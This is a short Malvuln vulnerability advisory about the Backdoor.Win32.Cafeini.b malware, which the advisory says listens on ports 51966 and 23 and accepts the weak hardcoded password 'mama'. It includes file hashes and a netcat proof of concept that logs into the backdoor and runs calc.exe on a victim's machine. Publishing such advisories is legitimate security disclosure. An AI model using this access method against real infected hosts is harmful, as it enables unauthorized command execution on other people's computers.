Backdoor.Win32.Cafeini.b MVID-2022-0617 Hardcoded Credential

Backdoor.Win32.Cafeini.b malware suffers from a hardcoded credential vulnerability.


SHA-256 | 214a018ddc8a2c372d96a47976e8c26f81dd4d2ccb905c570b6443c8eca58854

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/a8fc1b3f7a605dc06a319bf0e14ca68b.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP ports 51966 and 23. Authentication is required, however the password "mama" is weak and found within the PE file. Moreover, the FTP server running on non standard port 23 also uses same password. Trying to execute a program incorrectly you get reply like, "STATUS I can't run program", as it requires the full path to the file to execute.
Family: Cafeini
Type: PE32
MD5: a8fc1b3f7a605dc06a319bf0e14ca68b
Vuln ID: MVID-2022-0617
Disclosure: 06/29/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 51966
CAFEiNi 1.1
Enter your password:
mama
C:\Users\victim\Desktop>whoami
whoami
STATUS: unknown command "WHOAMI"
C:\Users\victim\Desktop>exec c:\Windows\system32\calc.exe
exec c:\Windows\system32\calc.exe
STATUS: program runned
C:\Users\victim\Desktop>

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts